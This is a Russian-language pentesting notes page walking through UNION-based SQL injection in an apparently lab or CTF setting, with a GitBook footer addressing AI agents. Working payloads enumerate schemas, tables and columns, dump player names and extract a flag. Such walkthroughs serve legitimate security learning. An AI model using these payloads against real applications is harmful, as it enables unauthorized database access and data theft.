> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md).

# UNION-инъекция в SQL

Мы перехватываем запрос с помощью Burp Suite и изменяем переменную `player`:

<figure><img src="/files/9cb9819728ad4d759958e31cfcf1d83876232fbc" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -

```

Имя базы данных `november`.

<figure><img src="/files/380b90c05eba20bba528d6fc4d376d3c12beda6a" alt=""><figcaption></figcaption></figure>

Чтобы вывести список всех баз данных:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -

```

Результат: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/03fa6c14522fec2662245cd9c41105b5c135c1aa" alt=""><figcaption></figcaption></figure>

Список таблицы `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -

```

<figure><img src="/files/f1f11cdefc1c4f15533c1f845601634f196e297f" alt=""><figcaption></figcaption></figure>

Список столбцов таблицы `players`:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -

```

Найдены столбцы: `player`

<figure><img src="/files/1c16dca7a54b9c362a2f89b0768451d6743609cd" alt=""><figcaption></figcaption></figure>

**Извлечение данных пользователя**

```sql
jordan' union select group_concat(player,':') from players-- -

```

Найдены игроки: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/b147a9afcbe93928e34106deb4c943480fc17c04" alt=""><figcaption></figcaption></figure>

Извлечение флага:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -

```

<figure><img src="/files/7856ca6be7298f91c75e70873e03c55aa1023124" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -

```

<figure><img src="/files/eb928994819210f7313d24797a17fbd5ba34c20d" alt=""><figcaption></figcaption></figure>

* Флаг найден: `UHC{F1rst_5tep_2_Qualify}`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
